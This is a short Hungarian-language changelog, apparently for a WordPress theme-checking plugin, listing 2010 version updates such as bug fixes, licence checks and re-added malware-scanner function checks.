• Menüellenőrzés hozzáadva.
• ThemeURI AutohourURI hozzáadva a találatokhoz.
• Sok apró javítás.
• Elkezdődött a fordítás.

20101228.1

• Javítsa ki az embed_defaults szűrőellenőrzést és a stíluslapfájl adatellenőrzését.

20101226.1

• A teljes rendszer újratervezése a WordPress.org feltöltővel való könnyebb szinkronizálás érdekében. Sok más összeadás/kivonás/módosítás is.
• A WordPress 3.1 irányelvei hozzáadva, hogy segítsenek a téma szerzőinek biztosítani a kompatibilitást a következő kiadással.

20101110.7

• Újra hozzáadva a malware.php fopen és file_get_contents (INFO) ellenőrzéseket
• javított néhány meghatározatlan indexhibát.

20101110.4_r2

• Javított figyelmeztetés: Rossz paraméterszám a stristr()

20101110.4_r1

• Echo hozzáadva a javasolt.php-hez

20101110.4

• Javítva a get_plugins() elavult függvényhívása

20101110.3

• Javítva a meghatározatlan index.

20101110.2

• Hiányzó< in main.php
• Feltételes ellenőrzések hozzáadva a licenc.txt VAGY Licenccímkék számára a style.css fájlban
• UI fejlesztések.